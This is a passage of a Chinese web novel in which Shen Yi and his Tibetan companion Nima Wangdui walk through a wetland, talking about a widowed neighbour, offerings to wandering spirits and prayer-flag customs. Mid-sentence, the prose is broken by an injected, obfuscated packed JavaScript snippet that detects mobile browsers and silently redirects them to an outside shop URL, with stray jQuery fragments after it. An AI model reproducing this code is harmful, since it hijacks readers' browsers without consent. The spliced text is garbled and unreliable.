尼玛旺堆放下手里的东西，用藏文对那位留着大胡子的老人说：“叔，你们先玩，我去里头看看。”
老人一手顺着胡子，一手把玩着海螺边的砝码，眼睛没离开棋局，只朝他摆了摆手。
尼玛旺堆点点头，带着沈翊往湿地深处走。
午后的阳光滤过稀疏的云层，落在泛着湿气的草甸上，竟映出一片朦胧的绿意。湖水中央簇拥着一小片树林，
树荫下，几头牛正卧着睡觉，姿态慵懒。
沈翊的注意力却被湖畔树丛里星星点点的蘑菇吸引了。他下意识拉住尼玛旺堆的袖子，“这些蘑菇，不摘吗？”问完，指尖传来的粗粝布料触感和对方手臂瞬间绷紧的力道，让他倏地松开了手。
尼玛旺堆蹲下身，以一种近乎折叠的姿势凑近蘑菇丛，仔细看了看菌盖内侧。“里面发黑，不摘。”他直起身，拍掉裤腿上的泥点。
“可我记得有人收蘑菇？”沈翊有些不解。
“我们很少在这类地方找吃的，”尼玛旺堆解释道，声音在空旷的湿地显得格外清晰，“顶多……偷偷装几袋腐叶土回去养花。”他笑了笑，那笑容里有种孩子气的心虚，冲淡了周遭略带荒芜的寂静。
沈翊被他那笑晃了一下眼，随即移开视线，指向湖心：“那片树林，不能去看看？”
“水看着不深，底下却是淤泥，容易陷进去。”尼玛旺堆摇头，“安全起见，远远看看就好。”他的语气很自然，带着一种在此地生活多年积累的、不容置疑的笃定。这份笃定奇异地安抚了沈翊的陌生感，却也让他更清晰地意识到两人之间那道无形的界限，他是闯入者，而尼玛旺堆是这里的一部分。
继续前行，脚下时而是松软的草甸，时而是渗水的湿地。走了约莫两小时，沈翊感到腿脚发沉，高原稀薄的空
气让疲惫感加倍袭来。“我们……什么时候往回走？”他喘了口气。
尼玛旺堆指向远处一道隐约的栏杆，“到那儿，看完就回。”距离看着不远，但湿地地形起伏，走过去仍需一番功夫。
正走着，一位身着黑色藏袍的妇人迎面而来。她左手握着一根长长的树枝，右手轻巧地拎起袍角，以便在湿地上行走。见到尼玛旺堆，她脸上绽开笑容，用藏语熟稔地打招呼。
沈翊听不懂，却见尼玛旺堆立刻停下脚步，脸上露出一种混合着恭敬和腼腆的神情，也用藏语快速回应。妇人目光扫过沈翊，善意地笑了笑。那笑容纯粹直接，毫无都市人际交往中常见的打量或距离感，让习惯防备的沈
翊一时有些无措。
两人交谈几句，妇人便匆匆朝尼玛旺堆指的方向寻去了，步伐快而稳。
“她不热吗？”沈翊望着她的背影，没话找话。那黑袍看上去厚重，高原午后的阳光也颇有热度。
尼玛旺堆摇摇头，“习惯了吧。”他顿了顿，忽然问，“你有没有发现，这一路看到的，大多是男人在放牧或照看？”
沈翊一怔，点了点头。
尼玛旺堆挠了挠他那头微卷的黑发，神情变得有些谨慎，甚至可以说困扰。“我要是说实话……会不会被说成是刻板印象，或者别的什么？”他问得认真，像个在课堂上担心答错题的学生。
沈翊被他这突如其来的“学术警惕”弄得有些想笑，又觉得莫名可爱。“说说看，观点而已。”
尼玛旺堆看了他一眼，似乎下了决心，声音低了些：“刚才那位阿姨，丈夫前些年出车祸走了。如果家里没有其他成年男子帮衬，像她这样的，要么回娘家，要么……很可能就会再嫁。”他用脚拨开小径上一截枯枝，
“在我们这儿，半农半牧，劳动力很重要。有时候，一个家要撑下去，光靠一个人……很难。”
他的话很平实，没有渲染悲情，却让沈翊心头微微一沉。他想到了自己那面目模糊的父亲和歇斯底里的母亲，想到了都市里那些看似独立、实则被各种无形绳索捆绑的男男女女。苦难的形式千差万别，但其沉重的本质，似乎并无不同。
他低着头又说，“接下来的话，可能会有点迷信，但是我希望你不会用片面的观点看待这件事情。”
“他们家那年运气不好。”尼玛旺堆弯腰捡起那截枯枝，在手里无意识地转动着，“出事前，村里有长辈劝过她丈夫，那年不要出远门跑车。他没听。”他将枯枝轻轻抛进一旁潺潺的小溪，看着它被水流带走，“结果，
一车人，就他没了。”
沈翊默然。这听起来像是一个关于轻信或固执的普通悲剧，但他从尼玛旺堆低沉的语调里，听出了一丝超越个体机遇的、对命运无常的惘然。
尼玛旺堆忽然从口袋里掏出几颗水果糖，摊在手心，递到沈翊面前。“吃糖吗？”他问，脸上那种沉重的神情还未完全散去，配上这个略显孩子气的举动，有种奇异的反差。
沈翊看着他骨节分明、肤色微深的手掌，心跳漏了一拍。他避开对方的目光，指尖快速掠过那颗粉色的糖，低声道：“谢谢。”
尼玛旺堆自己也剥了一颗放进嘴里，腮边鼓起一个小包。他边走边说，语气恢复了之前的平缓，却更深入了些：“后来，他们家请人做了法事。藏语里叫‘帕度’，意思是，帮滞留在原地的灵魂离开，去该去的地方。”
他侧头看了沈翊一眼，似乎在观察他的反应，见沈翊只是安静听着，才继续说：“我姐……以前常会在晚上某个时辰，用糌粑、奶渣、酥油混合，放在燃烧过的牛粪余烬上煨烧，算是给那些无人祭祀的游魂一点吃食。她总说，烧起来的味道不好闻，也不知道‘他们’吃着开不开心。”
这番话，若在都市酒桌上讲出，多半会被当作怪谈或迷信。但在此刻的旷野，在尼玛旺堆平静的叙述里，却透出一种对生死、对生命的朴素尊重和温柔关照。沈翊感到胸口某处被轻轻撞了一下。他见过太多精致的利己主义者，却很少遇到这样自然而然的悲悯。
“所以，”尼玛旺堆踢开一块小石子，声音更轻了，“如果她能找到人一起撑起那个家，或许就不用离开熟悉的土地和回忆。”他忽然仰起头，望着湛蓝得有些不真实的天穹，喉结滚动了一下，“你看那云，形状真有意思。”
沈翊循着他的目光望去。流云舒卷，寂静无边。他知道，尼玛旺堆不想再继续这个话题了。这份体贴的戛然而止，比任何安慰都更让人心头发软。
“走吧。”沈翊主动说。
他们走到湿地边缘的栏杆处，发现有一段被牛撞歪了。尼玛旺堆“嘿”了一声，上前用力将栏杆抬起，又从旁边搬来几块大石头垫在下面加固。他做这些时动作利落，手臂和肩背的肌肉在衣
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182985|196977||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
物下显出流畅的线条。沈翊站在一旁，看着他专注的侧脸和微抿的嘴唇，一时忘了移开目光。
直到尼玛旺堆拍了拍手上的灰，回头冲他一笑：“好了，安全些。”沈翊才仓促地点头，率先跨过了栏杆。
土路对面，是著名的年楚河。冬季水势减缓，河面显得宁静。对岸的树上，挂着一些褪色的经幡，在风中微微拂动。
“在山上挂经幡常见，水里也会挂？”沈翊停下脚步，好奇地问。
尼玛旺堆顺着他指的方向看去，嘴角弯了弯：“网上不是说嘛，转山转水。其实是我们的一种习俗。”他耐心
解释起来，什么要看藏历吉日，要结合家人生肖，何时挂、怎么挂都有讲究。说到具体操作，他眼睛微微发亮，比划着如何挑选树枝、缝制五色布、系上羊毛，如何在寒冷的凌晨上山，完成那一系列充满仪式感的步骤。
“你在网上肯定没见过这种吧？”他略带得意地问，那神态像个分享秘密宝藏的少年。
沈翊诚实地摇头，目光却不由自主地落在尼玛旺堆神采飞扬的脸上。此刻的他，与之前谈及沉重话题时判若两人，整个人笼罩在一种发自内心的热爱与归属感之中。这种鲜活而扎实的生命力，对刚从情感废墟中爬出来的沈翊而言，有着致命的吸引力。他不仅是在听一个习俗，更是在窥见一个灵魂如何被他的文化和土地滋养得如此丰厚。
“其实，”尼玛旺堆掏出手机，点开一个叫“**藏历”的小程序，屏幕的光映亮他的眼眸，“很多传统的东西，都在以新的方式留下来。”他指着其中一个图标，“这是老日喀则的标志，听说当初是画师把布达拉宫的图刻在萝卜上带回来仿建的，路上萝卜干了，样子也就变了。”
他讲述这个带着传奇色彩的故事时，眼神悠远，仿佛能穿透时间，看到那个奔波在路上的画师和那块渐渐风干的萝卜。沈翊静静听着，忽然问：“那你个人……更喜欢以前的，还是现在的？”
尼玛旺堆滑动屏幕的手指顿了顿。半晌，他才开口，声音平静得像远处的年楚河水：“喜欢或不喜欢的，该消失的总会消失。能留下来的，照片、歌、文字……总会有人记得它原来的样子。最重要的是，”他抬起头，看向沈翊，目光清澈而直接，“珍惜眼前还能触碰到的，不管是东西，还是……人。”
最后几个字，他说得很轻，却像一颗小石子投入沈翊心湖，漾开层层涟漪。沈翊仓促地垂下眼，假装对手机屏幕上复杂的藏历界面产生了浓厚兴趣，耳根却微微发热。他不知道这是尼玛旺堆无心的感慨，还是某种含蓄的指向。理智告诉他别多想，情感却不受控制地为此悸动。
回会时，那位下棋的老人已用帽子盖着脸，在午后的暖阳下打起了盹。他们放轻脚步走过去。
但老人似乎并未睡着，他起身，掀开盖在脸上的帽子，朝尼玛旺堆的方向扬了扬手，声音洪亮地喊了句藏语。
尼玛旺堆快步过去，伸手握住老人的左手，微微用力将他带起来。老人笑着摆摆手，从怀里掏出一个手工编织的布袋，不由分说地塞进尼玛旺堆手中。
尼玛旺堆摇头，指着不远处的摩托车想要推拒，老人却执意按住他的手，又转向沈翊，布满皱纹的脸上绽开一个友善的笑容，随即转身，步伐缓慢却稳当地走向自己的三轮车。